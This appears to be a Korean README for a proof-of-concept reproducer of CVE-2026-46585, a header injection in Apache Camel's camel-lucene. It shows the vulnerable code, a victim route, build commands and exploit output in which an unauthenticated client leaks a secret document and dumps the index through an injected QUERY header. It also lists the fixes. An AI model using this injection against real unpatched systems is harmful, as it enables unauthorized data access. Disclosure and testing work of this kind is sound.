
CVE-2026-46585 재현기: Apache Camel camel-lucene QUERY 헤더 주입으로 권한 우회 / 인덱스 데이터 유출 가능 (4.14.8/4.18.3/4.21.0에서 수정됨)
QUERY 헤더 인젝션 재현기 (CVE-2026-46585)이 프로젝트는 Apache Camel의 camel-lucene 컴포넌트에서 CVE-2026-46585로 추적되는 메시지 헤더 인젝션 / 권한 우회(authorization bypass) 를 시연합니다. Lucene 쿼리 프로듀서는 Exchange 헤더에서 전체 텍스트 검색 구문을 읽어오지만, 헤더 이름은 일반 문자열인 QUERY(문서 플래그의 경우 RETURN_LUCENE_DOCS)였습니다. 이러한 이름들은 Camel / camel 접두사로 시작하지 않으므로, HTTP 경계에서 Camel 헤더 네임스페이스만 차단하는 HttpHeaderFilterStrategy가 이를 인바운드 HTTP 요청에서 Exchange로 그대로 통과시켰습니다. 따라서 HTTP 컨슈머 뒤에서 Lucene 쿼리를 노출하는 라우트에 도달하는 모든 HTTP 클라이언트는 QUERY 헤더를 설정하여 그 값이 인덱스에 대해 실행되게 할 수 있으며, 라우트가 실행하려던 쿼리를 덮어씁니다.
이 PoC는 그 영향을 권한 우회 / 데이터 유출(data exfiltration) 로 시연합니다: 인증되지 않은 클라이언트가 원시 Lucene 쿼리 구문을 주입하여 공개 검색 엔드포인트가 결코 반환하지 않아야 할 문서를 읽어냅니다(match-all 쿼리는 전체 인덱스를 덤프합니다).
보안 권고: https://camel.apache.org/security/CVE-2026-46585.html
| 속성 | 값 |
|---|---|
| 컴포넌트 | camel-lucene |
| 영향받는 클래스 | org.apache.camel.component.lucene.LuceneQueryProducer가 LuceneConstants.HEADER_QUERY(값 "QUERY")를 읽음 |
| CWE | CWE-20(잘못된 입력 검증) / CWE-639(사용자 제어 키를 통한 권한 우회) |
| 영향 | HTTP 클라이언트가 QUERY 헤더를 설정 → 임의의 Lucene 쿼리 실행 → 의도된 범위 밖의 문서를 읽거나 CPU 부하가 큰 정규식 쿼리 실행 |
| 전제 조건 | 라우트가 HTTP 컨슈머(예: platform-http) 뒤에서 lucene:...:query 프로듀서를 노출함; 컨슈머가 인증되지 않은 경우 |
| 영향받는 버전 | 4.0.0부터 4.14.8 미만, 4.15.0부터 4.18.3 미만, 4.19.0부터 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| 크레딧 | Andrea Cosentino(Apache Software Foundation) 및 Yu Bao(PayPal) |
CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 및 CVE-2026-46457과 동일한 헤더 인젝션 패밀리에 속하며,
Camel접두사가 없는 헤더 상수라는 근본 원인을 camel-elasticsearch의SEARCH_QUERY형제 취약점과 공유합니다.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher는 클래식 QueryParser("contents", analyzer)로 구문을 파싱하므로, 공격자는 전체 Lucene 쿼리 구문을 사용할 수 있습니다: 필드 지정 용어(visibility:secret), match-all(*:*), 와일드카드, 그리고 비용이 많이 드는 정규 표현식.
수정(4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509)은 헤더 값을 Camel 규칙으로 변경합니다 — HEADER_QUERY는 QUERY에서 CamelLuceneQuery로, HEADER_RETURN_LUCENE_DOCS는 CamelLuceneReturnLuceneDocs로 — 따라서 다른 모든 Camel 컨트롤 헤더와 마찬가지로 HTTP 경계에서 필터링됩니다. 상수 필드 이름은 변경되지 않으므로(LuceneConstants.HEADER_QUERY를 참조하는 라우트는 계속 동작합니다), 이는 원시 문자열 값으로 이러한 헤더를 설정/읽는 라우트에만 해당하는 breaking change입니다.
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
라우트 작성자의 보안 모델은 "이 엔드포인트는 공개 검색만 제공한다"는 것입니다. 문서화된 강화 조치로, 라우트는 경계에서 removeHeaders("Camel*")를 사용해 Camel 컨트롤 헤더 네임스페이스까지 제거합니다. 그러나 이는 도움이 되지 않습니다: 컨트롤 헤더 이름은 CamelLuceneQuery가 아니라 QUERY이므로, 해당 호출이나 내장 HTTP 헤더 필터 어느 쪽으로도 제거되지 않습니다 — 이것이 바로 이 CVE의 핵심이며(정확히 수정 버전의 이름 변경이 해결하는 부분입니다).
인덱스에는 공개 문서 3개와 visibility:secret 태그가 붙은 비밀 문서 1개(본문에 무해한 플래그 마커 포함)가 들어 있습니다. 일반적인 공개 검색(QUERY=onboarding, 기본 contents 필드에 대한 단순 용어 검색)은 이를 결코 반환하지 않지만, 주입된 필드 지정 쿼리는 반환합니다.
피해자(victim) 는 Camel 검색 라우트와 그 인덱스이며, 공격자(attacker) 는 요청 헤더 하나만 설정하는 인증되지 않은 HTTP 클라이언트입니다. 모든 것은 단일 독립형 앱에서 실행됩니다.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
정상적인 용어 검색은 공개 문서만 반환합니다. 공격 요청은 프레임워크가 필터링했어야 할 단일 헤더의 값만 다를 뿐인데, 비밀 문서를 읽어내며 match-all 쿼리는 전체 인덱스를 반환합니다.
HTTP 컨슈머에서 접근 가능한 lucene:...:query 프로듀서가 있는 모든 라우트가 해당됩니다. 의도하지 않은 문서를 읽는 것 외에도, 공격자는 다음을 수행할 수 있습니다:
*:* 또는 다른 필드 조건(predicate)으로 대체(권한 우회).4.14.8 / 4.18.3 / 4.21.0(CAMEL-23509)로 업그레이드하세요. 업그레이드 후에는 원시 헤더 이름으로 쿼리를 설정하는 라우트가 QUERY / RETURN_LUCENE_DOCS 대신 CamelLuceneQuery(및 CamelLuceneReturnLuceneDocs)를 사용해야 합니다. 이 Camel 네임스페이스 이름들은 다른 모든 컨트롤 헤더와 마찬가지로 HTTP 경계에서 필터링됩니다.
업그레이드할 때까지는 다음을 수행하십시오:
.removeHeader("QUERY") 및 .removeHeader("RETURN_LUCENE_DOCS")를 호출한 다음 .setHeader("QUERY", constant(...))를 호출하거나 검증된 입력으로 쿼리를 구성합니다.이 재현기는 공개적으로 공개되어 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.